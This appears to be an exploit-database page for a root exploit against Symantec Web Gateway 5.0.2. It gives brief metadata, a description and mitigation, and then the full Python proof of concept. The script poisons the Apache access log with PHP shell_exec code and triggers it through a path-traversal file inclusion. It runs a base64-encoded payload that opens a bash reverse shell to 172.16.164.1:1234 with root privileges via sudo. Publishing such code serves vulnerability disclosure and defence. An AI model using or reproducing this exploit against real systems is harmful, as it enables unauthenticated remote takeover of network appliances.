Symantec Web Gateway 5.0.2 Remote LFI root Exploit Proof of Concept

vendor:

Web Gateway

by:

muts

9,3

CVSS

HIGH

Remote File Inclusion (RFI)

CWE

Product Name: Web Gateway

Affected Version From: 5.0.2

Affected Version To: 5.0.2

Patch Exists: NO

Related CWE: N/A

CPE: a:symantec:web_gateway:5.0.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2018

Symantec Web Gateway 5.0.2 Remote LFI root Exploit Proof of Concept

This exploit requires no authentication and uses a payload to create a script in the /tmp/networkScript directory which is sudoable and apache writable. The payload is encoded in base64 and is then executed using a PHP shell_exec command. The trigger is a GET request to the releasenotes.php file with a relative path to the access_log file.

Mitigation:

Ensure that all user-supplied input is validated and filtered before being used in a file or directory path.

Source

Exploit-DB raw data:

#!/usr/bin/python

# Symantec Web Gateway 5.0.2 Remote LFI root Exploit Proof of Concept
# Exploit requires no authentication, /tmp/networkScript is sudoable and apache writable.
# muts at offensive-security dot com


import socket
import base64

payload= '''echo '#!/bin/bash' > /tmp/networkScript; echo 'bash -i >& /dev/tcp/172.16.164.1/1234 0>&1' >> /tmp/networkScript;chmod 755 /tmp/networkScript; sudo /tmp/networkScript'''
payloadencoded=base64.encodestring(payload).replace("\n","")
taint="GET /<?php shell_exec(base64_decode('%s'));?> HTTP/1.1\r\n\r\n" % payloadencoded

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.164.129", 80))
expl.send(taint)
expl.close()

trigger="GET /spywall/releasenotes.php?relfile=../../../../../usr/local/apache2/logs/access_log HTTP/1.0\r\n\r\n"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.164.129", 80))
expl.send(trigger)
expl.close()